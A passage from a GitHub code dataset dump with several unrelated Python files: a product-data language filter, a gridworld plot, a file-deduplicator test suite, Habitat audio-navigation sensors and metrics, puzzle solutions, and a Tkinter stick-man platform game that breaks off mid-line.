Globals.get_word2vec_embeddings(Globals.labeled_data, 'all_tokens')\n print(\"Encoding validation Data ...\")\n Globals.X_valid_encoded = Globals.get_word2vec_embeddings( Globals.valid_df, 'all_tokens')\n print(\"Encoding test Data ...\")\n Globals.X_test_encoded = Globals.get_word2vec_embeddings( Globals.test_df, 'all_tokens')\n\n @staticmethod\n def remove_non_english(df):\n '''\n Removes non-english vocabularies fro the argument df\n\n Parameters:\n ----------\n df: dataframe\n\n Returns:\n ----------\n returns a new dataframe without english words\n '''\n non_english = []\n count = 0\n for row in range(0, df.shape[0]):\n\n str1 = \" \"\n text = str1.join(df.loc[row, 'title'])\n text += str1.join(df.loc[row, 'product_type'])\n try:\n if not text:\n text = df.loc[row, 'all_text']\n if not text:\n non_english.append(row)\n\n elif (detect(text) != 'en'):\n count += 1\n non_english.append(row)\n\n except:\n print(\"This row throws error:\", row, text)\n df = df.drop(non_english)\n print(count, \"non english records are deleted\")\n return df\n","repo_name":"jahedpari/Product-Master","sub_path":"scripts/Utility.py","file_name":"Utility.py","file_ext":"py","file_size_in_byte":26861,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"82"} +{"seq_id":"21808970147","text":"from gridworld import GridWorld\nimport matplotlib.pyplot as plt\n\n\ndef create_plot_gridworld(n_agents, n_targets, width, height):\n gw = GridWorld(width, height)\n gw.load_configuration(n_agents, n_targets) # Load GridWorld configuration from CSV files\n\n agent_x = []\n agent_y = []\n for ag in gw.agents:\n agent_x.append(gw.agents[ag].loc[0])\n agent_y.append(gw.agents[ag].loc[1])\n\n target_x = []\n target_y = []\n for t_loc in gw.targets:\n target_x.append(t_loc[0])\n target_y.append(t_loc[1])\n\n plt.scatter(target_x, target_y)\n plt.scatter(agent_x, agent_y)\n plt.xlim([0, width-1])\n plt.ylim([0, height-1])\n plt.legend([\"Targets\", \"Agents\"])\n plt.show()\n\n\n\n","repo_name":"zerbeln/GridWorld","sub_path":"plot_gworld.py","file_name":"plot_gworld.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6287777578","text":"import cv2\n# from main import app\n\nclass Estimation:\n raw = \"\"\n colorspace = \"\"\n img = \"\"\n result = \"\"\n binary = \"\"\n capacity = 0\n percentage = 0\n blackPixel = 0\n totalPixel = 0\n filename = \"\"\n\n def __init__(self, path, device_chip, device_date, device_time, app ):\n with app.app_context():\n print( \"Path : \" + path)\n self.path = path\n\n #Read Image\n self.raw = cv2.imread( self.path )\n\n #Convert RGB to GRAYSCALE\n # self.colorspace = cv2.cvtColor(self.raw, cv2.COLOR_RG B2GRAY)\n\n # #Pisahkan Warna Kontainer dengan Warna Disekitar\n\n # #Crop Secara Bitwise -> Area Irisan = Object Timbunan\n\n # #Hitung Tingg\n\n # #Segmentation using Threshold\n # _, self.binary = cv2.threshold(self.colorspace, 30, 255, cv2.THRESH_BINARY_INV)\n\n # img_width = self.binary.shape[0]\n # img_height = self.binary.shape[1]\n # img_resolution = img_width * img_height\n\n # # print(self.binary)\n # self.blackPixel = img_resolution - cv2.countNonZero(self.binary);\n # # print(self.blackPixel)\n\n # #Counting Persentage\n # temp = self.blackPixel/img_resolution * 100\n # self.percentage = round( temp, 0 )\n # return self.percentage\n\n # cv2.putText(self.binary, \"{}{}{}\".format('Kapasitas : ', self.percentage, '%'), (20, 50), cv2.FONT_HERSHEY_SIMPLEX, 1, (60,80,20), 2, cv2.LINE_AA)\n # self.filename = \"static/devices/\" + device_chip + '/' + device_date + '/' + device_time + '-est.jpg'\n # cv2.imwrite(self.filename, self.binary) \n\n def getFilename( self ):\n return self.filename\n \n def getEstimation( self ):\n return self.percentage","repo_name":"lasida/moksa","sub_path":"server/estimation.py","file_name":"estimation.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"22649896341","text":"from deduplicator.files import find_duplicate_hashes, list_all_files, hash_files, delete_duplicates\n\n\ndef test_list_all_files():\n test_data = \"./mocks/files\"\n all_files = list_all_files(test_data)\n assert './mocks/files/image-no-dupe-L0.jpg' in all_files\n assert './mocks/files/image-with-dupe-L0.jpg' in all_files\n assert './mocks/files/level1/image-with-dupe-L1.jpg' in all_files\n assert './mocks/files/level1/level2/image-with-dupe-L2.jpg' in all_files\n assert './mocks' not in all_files\n assert 'random-file' not in all_files\n assert len(all_files) == 4\n\n\ndef test_hash_files():\n test_data = ['./mocks/files/image-with-dupe-L0.jpg',\n './mocks/files/level1/image-with-dupe-L1.jpg',\n './mocks/files/level1/level2/image-with-dupe-L2.jpg']\n hashed_files = hash_files(test_data)\n\n keys = hashed_files.keys()\n assert 'd6301cd22dff266fede98ef879a68ab5' not in keys\n assert 'e8114e843bc16f5e895d6aa752bf3584' in keys\n\n\ndef test_delete_matched_duplicates(caplog, mocker):\n test_data = {}\n test_data['e8114e843bc16f5e895d6aa752bf3584'] = ['./test/image1.jpg',\n './test/level_1/image1.jpg',\n './test/level_1/level_2/image1.jpg']\n test_data['1d626efa9c786692344142cd7ef982c1'] = ['./test/lol_dupe_level_0.jpg',\n './test/level_1/lol_dupe_level_1.jpg']\n test_data['3300d0cec39386604c5e387404660a05'] = ['./test/what_dupe_level_0.jpg',\n './test/level_1/level_2/what_dupe_level_2.jpg']\n\n mocker.patch('deduplicator.files.os.remove')\n\n files = delete_duplicates(test_data)\n\n assert './test/barca_dupe_level_0.jpg' not in caplog.text\n assert './test/lol_dupe_level_0.jpg' not in caplog.text\n assert './test/what_dupe_level_0.jpg' not in caplog.text\n assert './test/level_1/barca_dupe_level_1.jpg' not in caplog.text\n\n assert './test/level_1/lol_dupe_level_1.jpg' in caplog.text\n assert './test/level_1/level_2/what_dupe_level_2.jpg' in caplog.text\n\n assert len(files) == 3\n\n\ndef test_empty_results_to_delete(caplog):\n test_data = {}\n test_data['e8114e843bc16f5e895d6aa752bf3584'] = ['./test/barca_dupe_level_0.jpg']\n\n files = delete_duplicates(test_data)\n\n assert 'Deleting' not in caplog.text\n assert len(files) == 1\n\n\ndef test_find_duplicate_hashes():\n expected_output = {}\n mock_hashed_files = {}\n\n mock_hashed_files[\"somehash\"] = ['file1', 'file2']\n mock_hashed_files[\"anotherhash\"] = ['file3']\n\n expected_output[\"somehash\"] = ['file1', 'file2'] \n\n duplicates = find_duplicate_hashes(mock_hashed_files)\n\n assert duplicates == expected_output\n","repo_name":"alexdmoss/deduplicator","sub_path":"tests/test_files.py","file_name":"test_files.py","file_ext":"py","file_size_in_byte":2789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74159646987","text":"n = int(input())\r\n\r\nlst = list(input() for _ in range(n))\r\nlength = len(lst[0])\r\nprompt = ''\r\n\r\n\r\nfor i in range(length):\r\n for j in range(1, n):\r\n if lst[0][i] != lst[j][i]:\r\n prompt += '?'\r\n break\r\n else:\r\n prompt += lst[0][i]\r\n\r\nprint(prompt)","repo_name":"Hyormone/algorithm_baekjoon","sub_path":"백준/Bronze/1032. 명령 프롬프트/명령 프롬프트.py","file_name":"명령 프롬프트.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"389118677","text":"# -*- coding:utf-8 -*-\r\n# class TreeLinkNode:\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.left = None\r\n# self.right = None\r\n# self.next = None\r\nclass Solution:\r\n def GetNext(self, pNode):\r\n # write code here\r\n res = []\r\n def inOrder(root):\r\n if (root):\r\n inOrder(root.left)\r\n res.append(root)\r\n inOrder(root.right)\r\n\r\n node = pNode\r\n while(node.next != None):\r\n node = node.next\r\n inOrder(node)\r\n for i in range(len(res)):\r\n if res[i] == pNode and i + 1 < len(res):\r\n return res[i + 1]\r\n return None\r\n\r\n# -*- coding:utf-8 -*-\r\n# class TreeLinkNode:\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.left = None\r\n# self.right = None\r\n# self.next = None\r\nclass Solution:\r\n def GetNext(self, pNode):\r\n # write code here\r\n if pNode.right:\r\n node = pNode.right\r\n while node.left != None:\r\n node = node.left \r\n return node\r\n elif pNode.next and pNode.next.left == pNode:\r\n return pNode.next\r\n elif pNode.next and pNode.next.right == pNode:\r\n node = pNode.next\r\n while(node.next and node.next.right == node):\r\n node = node.next\r\n return node.next\r\n else:\r\n return None","repo_name":"WCC-wcc/-offer","sub_path":"牛客55-二叉树的下一个节点/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2866708285","text":"from typing import Any, Type, Union\nimport logging\n\nimport numpy as np\nimport librosa\nfrom gym import spaces\nfrom skimage.measure import block_reduce\n\nfrom habitat.config import Config\nfrom habitat.core.dataset import Episode\n\nfrom habitat.tasks.nav.nav import NavigationTask, Measure, EmbodiedTask\nfrom habitat.core.registry import registry\n\nfrom habitat.core.simulator import (\n Sensor,\n SensorTypes,\n Simulator,\n)\n\n\n@registry.register_task(name=\"AudioNav\")\nclass AudioNavigationTask(NavigationTask):\n def overwrite_sim_config(\n self, sim_config: Any, episode: Type[Episode]\n ) -> Any:\n return merge_sim_episode_config(sim_config, episode)\n\n\ndef merge_sim_episode_config(\n sim_config: Config, episode: Type[Episode]\n) -> Any:\n sim_config.defrost()\n # here's where the scene update happens, extract the scene name out of the path\n sim_config.SCENE = episode.scene_id\n sim_config.freeze()\n if (\n episode.start_position is not None\n and episode.start_rotation is not None\n ):\n agent_name = sim_config.AGENTS[sim_config.DEFAULT_AGENT_ID]\n agent_cfg = getattr(sim_config, agent_name)\n agent_cfg.defrost()\n agent_cfg.START_POSITION = episode.start_position\n agent_cfg.START_ROTATION = episode.start_rotation\n agent_cfg.GOAL_POSITION = episode.goals[0].position\n agent_cfg.SOUND = episode.info['sound']\n agent_cfg.IS_SET_START_STATE = True\n agent_cfg.freeze()\n return sim_config\n\n\n@registry.register_sensor\nclass AudioGoalSensor(Sensor):\n def __init__(self, *args: Any, sim: Simulator, config: Config, **kwargs: Any):\n self._sim = sim\n super().__init__(config=config)\n\n def _get_uuid(self, *args: Any, **kwargs: Any):\n return \"audiogoal\"\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.PATH\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n sensor_shape = (2, self._sim.config.AUDIO.RIR_SAMPLING_RATE)\n\n return spaces.Box(\n low=np.finfo(np.float32).min,\n high=np.finfo(np.float32).max,\n shape=sensor_shape,\n dtype=np.float32,\n )\n\n def get_observation(self, *args: Any, observations, episode: Episode, **kwargs: Any):\n return self._sim.get_current_audiogoal_observation()\n\n\n@registry.register_sensor\nclass SpectrogramSensor(Sensor):\n def __init__(self, *args: Any, sim: Simulator, config: Config, **kwargs: Any):\n self._sim = sim\n super().__init__(config=config)\n\n def _get_uuid(self, *args: Any, **kwargs: Any):\n return \"spectrogram\"\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.PATH\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n spectrogram = self.compute_spectrogram(np.ones((2, self._sim.config.AUDIO.RIR_SAMPLING_RATE)))\n\n return spaces.Box(\n low=np.finfo(np.float32).min,\n high=np.finfo(np.float32).max,\n shape=spectrogram.shape,\n dtype=np.float32,\n )\n\n @staticmethod\n def compute_spectrogram(audio_data):\n def compute_stft(signal):\n n_fft = 512\n hop_length = 160\n win_length = 400\n stft = np.abs(librosa.stft(signal, n_fft=n_fft, hop_length=hop_length, win_length=win_length))\n stft = block_reduce(stft, block_size=(4, 4), func=np.mean)\n return stft\n\n channel1_magnitude = np.log1p(compute_stft(audio_data[0]))\n channel2_magnitude = np.log1p(compute_stft(audio_data[1]))\n spectrogram = np.stack([channel1_magnitude, channel2_magnitude], axis=-1)\n\n return spectrogram\n\n def get_observation(self, *args: Any, observations, episode: Episode, **kwargs: Any):\n spectrogram = self._sim.get_current_spectrogram_observation(self.compute_spectrogram)\n\n return spectrogram\n\n\n@registry.register_measure\nclass DistanceToGoal(Measure):\n r\"\"\" Distance to goal the episode ends\n \"\"\"\n\n def __init__(\n self, *args: Any, sim: Simulator, config: Config, **kwargs: Any\n ):\n self._start_end_episode_distance = None\n self._sim = sim\n self._config = config\n\n super().__init__()\n\n def _get_uuid(self, *args: Any, **kwargs: Any):\n return \"distance_to_goal\"\n\n def reset_metric(self, *args: Any, episode, **kwargs: Any):\n self._start_end_episode_distance = episode.info[\"geodesic_distance\"]\n self._metric = None\n self.update_metric(episode=episode, *args, **kwargs)\n\n def update_metric(\n self, *args: Any, episode, **kwargs: Any\n ):\n current_position = self._sim.get_agent_state().position.tolist()\n\n distance_to_target = self._sim.geodesic_distance(\n current_position, episode.goals[0].position\n )\n\n self._metric = distance_to_target\n\n\n@registry.register_measure\nclass NormalizedDistanceToGoal(Measure):\n r\"\"\" Distance to goal the episode ends\n \"\"\"\n\n def __init__(\n self, *args: Any, sim: Simulator, config: Config, **kwargs: Any\n ):\n self._start_end_episode_distance = None\n self._sim = sim\n self._config = config\n\n super().__init__()\n\n def _get_uuid(self, *args: Any, **kwargs: Any):\n return \"normalized_distance_to_goal\"\n\n def reset_metric(self, *args: Any, episode, **kwargs: Any):\n self._start_end_episode_distance = episode.info[\"geodesic_distance\"]\n self._metric = None\n\n def update_metric(\n self, *args: Any, episode, action, task: EmbodiedTask, **kwargs: Any\n ):\n current_position = self._sim.get_agent_state().position.tolist()\n\n distance_to_target = self._sim.geodesic_distance(\n current_position, episode.goals[0].position\n )\n\n self._metric = distance_to_target / self._start_end_episode_distance\n\n\n@registry.register_sensor(name=\"Collision\")\nclass Collision(Sensor):\n def __init__(\n self, sim: Union[Simulator, Config], config: Config, *args: Any, **kwargs: Any\n ):\n super().__init__(config=config)\n self._sim = sim\n\n def _get_uuid(self, *args: Any, **kwargs: Any):\n return \"collision\"\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.COLOR\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n return spaces.Box(\n low=0,\n high=1,\n shape=(1,),\n dtype=bool\n )\n\n def get_observation(\n self, *args: Any, observations, episode: Episode, **kwargs: Any\n ) -> object:\n return [self._sim.previous_step_collided]\n\n\n@registry.register_measure\nclass SNA(Measure):\n r\"\"\"SPL (Success weighted by Path Length)\n\n ref: On Evaluation of Embodied Agents - Anderson et. al\n https://arxiv.org/pdf/1807.06757.pdf\n \"\"\"\n\n def __init__(\n self, *args: Any, sim: Simulator, config: Config, **kwargs: Any\n ):\n self._start_end_num_action = None\n self._agent_num_action = None\n self._sim = sim\n self._config = config\n\n super().__init__()\n\n def _get_uuid(self, *args: Any, **kwargs: Any):\n return \"sna\"\n\n def reset_metric(self, *args: Any, episode, **kwargs: Any):\n self._start_end_num_action = episode.info[\"num_action\"]\n self._agent_num_action = 0\n self._metric = None\n\n def update_metric(\n self, *args: Any, episode, action, task: EmbodiedTask, **kwargs: Any\n ):\n ep_success = 0\n current_position = self._sim.get_agent_state().position.tolist()\n\n distance_to_target = self._sim.geodesic_distance(\n current_position, episode.goals[0].position\n )\n\n if (\n hasattr(task, \"is_stop_called\")\n and task.is_stop_called\n and distance_to_target < 0.25\n ):\n ep_success = 1\n\n self._agent_num_action += 1\n\n self._metric = ep_success * (\n self._start_end_num_action\n / max(\n self._start_end_num_action, self._agent_num_action\n )\n )\n\n\n@registry.register_measure\nclass NA(Measure):\n r\"\"\" Number of actions\n\n ref: On Evaluation of Embodied Agents - Anderson et. al\n https://arxiv.org/pdf/1807.06757.pdf\n \"\"\"\n\n def __init__(\n self, *args: Any, sim: Simulator, config: Config, **kwargs: Any\n ):\n self._agent_num_action = None\n self._sim = sim\n self._config = config\n\n super().__init__()\n\n def _get_uuid(self, *args: Any, **kwargs: Any):\n return \"na\"\n\n def reset_metric(self, *args: Any, episode, **kwargs: Any):\n self._agent_num_action = 0\n self._metric = None\n\n def update_metric(\n self, *args: Any, episode, action, task: EmbodiedTask, **kwargs: Any\n ):\n self._agent_num_action += 1\n self._metric = self._agent_num_action\n","repo_name":"yyf17/SAAVN","sub_path":"soundspaces/tasks/audionav_task.py","file_name":"audionav_task.py","file_ext":"py","file_size_in_byte":8937,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"82"} +{"seq_id":"71290066189","text":"#!/home/hiyer/.venv3/bin/python\n\nfrom functools import total_ordering\nimport sys\n\n@total_ordering\nclass PathPoint:\n def __init__(self, length=0, elevation=0):\n self._length = length\n self._elevation = elevation\n \n def __eq__(self, other):\n if self._length == other._length and self._elevation == other._elevation:\n return True\n \n return False\n \n def __lt__(self, other):\n if self._length < other._length:\n return True\n elif self._length == other._length:\n return self._elevation < other._elevation\n \n return False\n \n def add(self, elevation):\n self._length += 1\n self._elevation += elevation\n \n def is_valid(self):\n return self._length >= 0\n \n\ndef neighbours(x, y):\n return [(x-1, y), (x, y-1), (x+1, y), (x, y+1)]\n\nif len(sys.argv) != 2:\n print(\"Usage: skiing.py \")\n sys.exit(1)\n \nlines = []\nwith open(sys.argv[1]) as f:\n for line in f:\n lines.append([int(x) for x in line.split()])\n\n(num_cols, num_rows) = lines.pop(0)\n\npath_points = []\nfor j in range(num_rows):\n row = []\n for k in range(num_cols):\n row.append(PathPoint(-1, -1))\n path_points.append(row)\n \ndef find_longest_path(x, y):\n elevation = lines[y][x]\n longest_subpath = None\n next_point = None\n \n if path_points[y][x].is_valid():\n return path_points[y][x]\n\n for (j, k) in neighbours(x, y):\n if j < 0 or j > num_cols - 1 or k < 0 or k > num_rows - 1 or lines[k][j] >= elevation:\n continue\n \n #print(\"Looking in sub-path {}, {} for {}, {}\".format(j, k, x, y))\n subpath = find_longest_path(j, k)\n tmp_path = PathPoint(subpath._length, subpath._elevation)\n tmp_path.add(elevation - lines[k][j])\n \n if longest_subpath is None or longest_subpath < tmp_path:\n longest_subpath = tmp_path\n #print(\"Longest sub-path: {}, {} at {}, {}\".format(longest_path._length, longest_path._elevation, x, y))\n \n if longest_subpath is not None:\n path_points[y][x] = longest_subpath\n #print(\"Longest path from {}, {} is {}, {} to {}, {}\".format(x, y, longest_subpath._length, longest_subpath._elevation, next_point._x, next_point._y))\n else:\n longest_subpath = PathPoint(0, 0)\n path_points[y][x] = longest_subpath\n #print(\"No path from {}, {}\".format(x, y))\n \n return longest_subpath\n\nlongest_path = None\nfor y, line in enumerate(lines):\n for x, point in enumerate(line):\n path = find_longest_path(x, y)\n \n if path is None:\n continue\n \n if path is not None and (longest_path is None or longest_path < path):\n longest_path = path\n\nif longest_path is None:\n print(\"No path found\")\nelse:\n print(\"Longest path is {}, {}\".format(longest_path._length+1, longest_path._elevation))\n","repo_name":"hiyer/singaporeskiing","sub_path":"skiing.py","file_name":"skiing.py","file_ext":"py","file_size_in_byte":2968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42487707527","text":"from tkinter import *\r\nimport random #### если он не нужен, лучше его не импортировать\r\nimport time\r\nclass Game:\r\n def __init__(self):\r\n self.tk = Tk()\r\n self.tk.title(\"Escaping man\")\r\n self.tk.resizable(0, 0)\r\n self.tk.wm_attributes(\"-topmost\", 1)\r\n self.canvas = Canvas(self.tk, width=500, height=500, highlightthickness=0)\r\n self.canvas.pack()\r\n self.text = self.canvas.create_text(500,500, text = 'saa')\r\n self.tk.update()\r\n self.canvas_height = 500\r\n self.canvas_width = 500\r\n self.bg = PhotoImage(file=\"stickman/background.gif\")\r\n w = self.bg.width()\r\n h = self.bg.height() \r\n for x in range (0, 5):\r\n for y in range(0, 5):\r\n self.canvas.create_image(x * w, y * h, image=self.bg, anchor=\"nw\")\r\n self.sprites = []\r\n self.running = True\r\n l = Label()\r\n def mainloop(self):\r\n while 1:\r\n if self.running ==True:\r\n for sprite in self.sprites:\r\n sprite.move()\r\n \r\n self.tk.update_idletasks()\r\n self.tk.update()\r\n time.sleep(0.01)\r\nclass Coords:\r\n def __init__(self, x1 = 0, y1 = 0, x2 = 0, y2 = 0):\r\n self.x1 = x1\r\n self.y1 = y1\r\n self.x2 = x2\r\n self.y2 = y2\r\n def within_x(co1, co2):\r\n if (co1.x1 > co2.x1 and co1.x1 < co2.x2) \\\r\n or (co1.x2 > co2.x1 and co1.x2 < co2.x2) \\\r\n or (co2.x1 > co1.x1 and co2.x1 < co1.x2) \\\r\n or (co2.x2 > co1.x1 and co2.x2 < co1.x2):\r\n return True\r\n else:\r\n return False\r\n \r\n def within_y(co1, co2):\r\n if (co1.y1 > co2.y1 and co1.y1 < co2.y2) \\\r\n or (co1.y2 > co2.y1 and co1.y2 < co2.y2) \\\r\n or (co2.y1 > co1.y1 and co2.y1 < co1.y2) \\\r\n or (co2.y2 > co1.y1 and co2.y2 < co1.y2):\r\n return True\r\n else:\r\n return False\r\n def collided_left(co1, co2):\r\n if Coords.within_y(co1, co2):\r\n if co1.x1 <= co2.x2 and co1.x1 >= co2.x1: # до этого здесь была такая же проверка что и сверху\r\n return True #скорее всего вы просто опечатались\r\n return False #проверьте по кинге ещё раз, увидите\r\n\r\n def collided_right(co1, co2):\r\n if Coords.within_y(co1, co2):\r\n if co1.x2 >= co2.x1 and co1.x2 <= co2.x2:\r\n return True\r\n return False\r\n def collided_top(co1, co2):\r\n if Coords.within_x(co1, co2):\r\n if co1.y1 <= co2.y2 and co1.y1 >= co2.y1:\r\n return True\r\n return False\r\n def collided_bottom(y: int, co1, co2):\r\n if Coords.within_x(co1, co2):\r\n y_calc = co1.y2 + y\r\n if y_calc >= co2.y1 and y_calc <= co2.y2:\r\n return True\r\n return False\r\n\r\nclass Sprite:\r\n def __init__(self, game):\r\n self.game = game\r\n self.endgame = False\r\n self.coordinates = None\r\n\r\n def move(self):\r\n pass\r\n\r\n def coords(self):\r\n return self.coordinates\r\n \r\nclass PlatformSprite(Sprite):\r\n def __init__(self, game, photo_image, x, y, width, height):\r\n Sprite.__init__(self, game)\r\n self.photo_image = photo_image\r\n self.image = game.canvas.create_image(x, y, \\\r\n image=self.photo_image, anchor='nw')\r\n self.coordinates = Coords(x, y, x + width, y + height)\r\n\r\nclass StickFigureSprite(Sprite):\r\n\r\n def __init__(self, game):\r\n Sprite.__init__(self, game)\r\n self.images_left = [\r\n PhotoImage(file=\"stickman/figure-L1.gif\"),\r\n PhotoImage(file=\"stickman/figure-L2.gif\"),\r\n PhotoImage(file=\"stickman/figure-L3.gif\"),\r\n ]\r\n self.images_right = [\r\n PhotoImage(file=\"stickman/figure-R1.gif\"),\r\n PhotoImage(file=\"stickman/figure-R2.gif\"),\r\n PhotoImage(file=\"stickman/figure-R3.gif\"),\r\n ]\r\n self.images_door = [\r\n PhotoImage(file='stickman/door1.gif'),\r\n PhotoImage(file='stickman/door2.gif')\r\n ]\r\n\r\n self.image = game.canvas.create_image(200, 470, image=self.images_left[0], anchor='nw')\r\n self.x = -2\r\n self.y = 0\r\n self.current_image = 0\r\n self.current_image_add = 1\r\n self.jump_count = 0\r\n self.last_time = time.time()\r\n self.coordinates = Coords()\r\n self.co = None\r\n \r\n game.canvas.bind_all('', self.turn_left)\r\n game.canvas.bind_all('', self.turn_right)\r\n game.canvas.bind_all('', self.jump)\r\n self.ara = DoorSprite(g, PhotoImage(file=\"stickman/door1.gif\"), 45, 30, 40, 35,1)\r\n g.sprites.append(self.ara)\r\n def turn_left(self, evt):\r\n if self.y == 0:\r\n self.x = -2 \r\n def turn_right(self, evt):\r\n if self.y == 0: \r\n self.x = 2\r\n\r\n def jump(self, evt):\r\n if self.y == 0:\r\n self.y = -4\r\n self.jump_count = 1\r\n\r\n\r\n def animate(self):\r\n if self.x != 0 and self.y == 0:\r\n if time.time() - self.last_time > 0.1:\r\n self.last_time = time.time()\r\n self.current_image += self.current_image_add\r\n if self.current_image >= 2:\r\n self.current_image_add = -1\r\n if self.current_image <= 0:\r\n self.current_image_add = 1\r\n if self.x < 0:\r\n if self.y != 0:\r\n self.game.canvas.itemconfig(self.image, image=self.images_left[2]) \r\n else:\r\n self.game.canvas.itemconfig(self.image, image=self.images_left[self.current_image]) \r\n elif self.x > 0:\r\n if self.y != 0:\r\n self.game.canvas.itemconfig(self.image, image=self.images_right[2])\r\n else:\r\n self.game.canvas.itemconfig(self.image, image=self.images_right[self.current_image])\r\n\r\n#получение позиции фигурки\r\n def coords(self):\r\n xy = self.game.canvas.coords(self.image)\r\n self.coordinates.x1 = xy[0]\r\n self.coordinates.y1 = xy[1] \r\n self.coordinates.x2 = xy[0] + 27\r\n self.coordinates.y2 = xy[1] + 30\r\n return self.coordinates\r\n\r\n#Перемещение фигурки по экрану\r\n def move(self):\r\n self.animate()\r\n if self.y < 0:\r\n self.jump_count += 1\r\n if self.jump_count > 20: \r\n self.y = 4 \r\n if self.y > 0:\r\n self.jump_count -= 1\r\n\r\n#вызываем функцию coords, которая возвращает позицию фигурки на экране, и сохраняем эту позицию в переменной co. \r\n self.co = self.coords()\r\n\r\n print(self.co.x1,self.co.x2, self.co.y1, self.co.y2)\r\n#создаем следующие 5 переменных, они нам нужны чтобы проверять фигурку на столкновения с каждой из 4 сторон падения\r\n left = True\r\n right = True\r\n top = True\r\n bottom = True\r\n falling = True\r\n \r\n#проверяем столкнулась ли фигурка с верхней или нижней границей холста\r\n if self.y > 0 and self.co.y2 >= self.game.canvas_height:\r\n self.y = 0\r\n bottom = False\r\n elif self.y < 0 and self.co.y1 <=0:\r\n self.y = 0\r\n top = False\r\n \r\n#проверяем столкнулась ли фигурка с левой или правой границей холста\r\n if self.x > 0 and self.co.x2 >= self.game.canvas_width:\r\n self.x = 0\r\n right = False \r\n elif self.x < 0 and self.co.x1 <= 0:\r\n self.x = 0\r\n left = False\r\n\r\n#столкновение с другими спрайтами\r\n #door1 = DoorSprite(g, PhotoImage(file=\"stickman/door1.gif\"), 45, 30, 40, 35)\r\n for sprite in self.game.sprites:\r\n if sprite == self:\r\n continue\r\n sprite_co = sprite.coords()\r\n if top and self.y < 0 and Coords.collided_top(self.co, sprite_co): ###обратите внимание как я обращаюсь к методу collided_top\r\n self.y = -self.y #обязательно прописываем до него название класса\r\n top = False ##иначе не будет найден метод\r\n\r\n#столкновение нижней стороной \r\n#данный код служит для обработки столкновения фигурки нижней стороной с каким либо из спрайтов\r\n\r\n\r\n\r\n if bottom and self.y > 0 and Coords.collided_bottom(self.y, self.co, sprite_co): ##то же самое здесь\r\n self.y = sprite_co.y1 - self.co.y2\r\n if self.y < 0: #####так же эта проверка стояла не в теле предыдущего if\r\n self.y = 0 ##она должна стоять именно в теле предыдщего if, так один зависит от другого\r\n bottom = False\r\n top = False\r\n\r\n#код след. проверки для обрабокти ситуции, когда фигурка находиться на платформе и может выбежать за её край\r\n \r\n if bottom and falling and self.y == 0 and self.co.y2 < self.game.canvas_height and Coords.collided_bottom(1, self.co, sprite_co):\r\n falling = False\r\n\r\n#столкновения слева и справа с другими объектами\r\n\r\n if left and self.x < 0 and Coords.collided_left(self.co, sprite_co):\r\n self.x = 0\r\n left = False\r\n if sprite.endgame:\r\n self.game.running = False\r\n if right and self.x > 0 and Coords.collided_right(self.co, sprite_co):\r\n self.x = 0\r\n right = False\r\n if sprite.endgame:\r\n self.game.running = False\r\n\r\n\r\n if (self.co.x1 == 64.0 and self.co.x2 == 91.0 and self.co.y1 == 30.0 and self.co.y2==60.0):\r\n self.game.canvas.itemconfig(self.image, image='')\r\n g.canvas.create_text(250,250,text = 'Вы победили', fill = 'blue', font = (\"Times\", 65))\r\n\r\n if falling and bottom and self.y == 0 and self.co.y2 < self.game.canvas_height:\r\n self.y = 4\r\n self.game.canvas.move(self.image, self.x, self.y)\r\nclass DoorSprite(Sprite):\r\n def __init__(self,game,photo_image,x,y,width,height, count = 0, change = False):\r\n Sprite.__init__(self,game)\r\n self.images_door = [\r\n PhotoImage(file='stickman/door1.gif'),\r\n PhotoImage(file='stickman/door2.gif')\r\n ]\r\n\r\n self.image = game.canvas.create_image(x, y, image=self.images_door[0+count], anchor='nw')\r\n self.photo_image = photo_image\r\n self.coordinates = Coords(x,y, x + (width/2), y + height)\r\n self.endgame=True\r\n\r\n\r\ng = Game()\r\nplatform1 = PlatformSprite(g, PhotoImage(file=\"stickman/platform1.gif\"), 0, 480, 100, 10)\r\nplatform2 = PlatformSprite(g, PhotoImage(file=\"stickman/platform1.gif\"), 150, 440, 100, 10)\r\nplatform3 = PlatformSprite(g, PhotoImage(file=\"stickman/platform1.gif\"), 300, 400, 100, 10)\r\nplatform4 = PlatformSprite(g, PhotoImage(file=\"stickman/platform1.gif\"), 300, 160, 100, 10)\r\nplatform5 = PlatformSprite(g, PhotoImage(file=\"stickman/platform2.gif\"), 175, 350, 66, 10)\r\nplatform6 = PlatformSprite(g, PhotoImage(file=\"stickman/platform2.gif\"), 50, 300, 66, 10)\r\nplatform7 = PlatformSprite(g, PhotoImage(file=\"stickman/platform2.gif\"), 170, 120, 66, 10)\r\nplatform8 = PlatformSprite(g, PhotoImage(file=\"stickman/platform2.gif\"), 45, 60, 66, 10)\r\nplatform9 = PlatformSprite(g, PhotoImage(file=\"stickman/platform3.gif\"), 170, 250, 32, 10)\r\nplatform10 = PlatformSprite(g, PhotoImage(file=\"stickman/platform3.gif\"), 230, 200, 32, 